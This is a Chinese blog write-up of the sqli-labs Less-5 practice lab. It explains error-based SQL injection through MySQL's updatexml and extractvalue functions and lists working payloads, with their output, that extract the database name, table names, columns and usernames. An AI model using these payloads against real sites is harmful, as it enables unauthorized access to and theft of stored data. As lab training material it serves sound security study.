基於sqli-labs Less-5 sql報錯注入詳解

星海河發表於2024-09-17

按照之前的思路發現,是正常的'閉合的字元型,但是在聯合注入0' union select 1,2,3--+沒有回顯注入點,只是回顯You are in,因此無法使用聯合注入,考慮使用報錯注入或者盲注。
考慮到本題會給出資料庫的錯誤資訊,且盲注比較麻煩,嘗試使用報錯注入

1. 報錯注入函式簡介

1.1 updatexml函式

UPDATEXML 是 MySQL 中的一個 XML 函式,用於解析 XML 資料並返回結果。

UPDATEXML(xml_target, xpath_expr, new_xml)

  • xml_target:要操作的 XML 文件。
  • xpath_expr:一個字串,表示 XPath 表示式,用於指定要更新的節點。
  • new_xml:要替換的新的 XML 內容。

在SQL隱碼攻擊中,不妨把他簡化為updatexml(xx,concat(xx),xx),concat函式用來拼接字元,當第二個引數為非xpath格式就會把校驗失敗的資料爆出來。由於要的只是第二個引數,一三隨便寫即可

1.2 extractvalue函式

EXTRACTVALUE 是 MySQL 中的一個函式,用於從 XML 文件中提取指定的值。該函式使用 XPath 表示式從 XML 資料中選擇和返回節點的文字內容。

EXTRACTVALUE(xml_frag, xpath_expr)

  • xml_frag:包含 XML 資料的字串。
  • xpath_expr:一個字串,表示 XPath 表示式,用於指定要提取的節點。

在SQL隱碼攻擊中,不妨把他簡化為extractvalue(xx,concat(xx)),concat函式用來拼接字元,當第二個引數為非xpath格式 就會把校驗失敗的資料爆出來。由於要的只是第二個引數,引數一隨便寫即可。

2. updatexml報錯

0x7e~,方便我們在報錯回顯中找到資料。
透過拼接需要的內容作為路徑,報錯後路徑被爆出,從而得到資料。

?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+
'回顯:XPATH syntax error: '~security~'

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) --+
'回顯:XPATH syntax error: '~emails,referers,uagents,users~'

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+
'回顯:XPATH syntax error: '~id,username,password~'

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+
'回顯:XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'

3. extractvalue報錯

透過拼接需要的內容作為路徑,報錯後路徑被爆出,從而得到資料。

?id=1' and extractvalue(1,concat(0x7e,(select database() ),0x7e))--+
'回顯:XPATH syntax error: '~security~'

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e))--+
'XPATH syntax error: '~emails,referers,uagents,users~'

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+
'XPATH syntax error: '~id,username,password~'

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users),0x7e))--+
'XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'

宇宙安全宣告

本部落格所提供的內容僅供學習與交流目的,所有文章、程式碼及相關資料僅用於提升網路安全知識水平。博主不對任何人因使用部落格中提到的技術或工具而產生的任何後果負責。

相關文章